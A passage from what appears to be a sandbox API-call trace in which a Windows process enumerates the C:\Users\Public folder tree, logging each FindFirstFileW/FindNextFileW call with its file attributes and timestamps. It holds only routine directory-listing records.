ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.363] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.363] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.363] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.363] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.363] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.363] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.363] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0172.363] GetLastError () returned 0x12 [0172.363] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.363] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 0 [0172.363] GetLastError () returned 0x12 [0172.363] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.363] GetFileAttributesW (lpFileName="::{645FF040-5081-101B-9F08-00AA002F954E}") returned 0xffffffff [0172.363] GetLastError () returned 0x3 [0172.363] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0172.363] GetFileAttributesW (lpFileName="C:\\Users\\Administrator" (normalized: "c:\\users\\administrator")) returned 0xffffffff [0172.363] GetLastError () returned 0x2 [0172.363] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0172.363] GetFileAttributesW (lpFileName="C:\\Users\\Public" (normalized: "c:\\users\\public")) returned 0x11 [0172.363] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0172.364] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.364] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.364] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0172.364] GetLastError () returned 0x12 [0172.364] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.364] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.364] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.364] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.364] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.364] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.365] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.365] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0172.365] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0172.365] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.365] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0172.365] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.365] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.365] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.366] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.366] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.366] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.366] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.366] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0172.366] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0172.366] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0172.366] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0172.366] GetLastError () returned 0x12 [0172.366] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.367] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.367] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.367] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.367] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0172.367] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.368] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.368] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.368] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0172.368] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0172.368] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0172.368] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0172.368] GetLastError () returned 0x12 [0172.368] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.368] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0172.368] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.368] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.369] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0172.369] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, 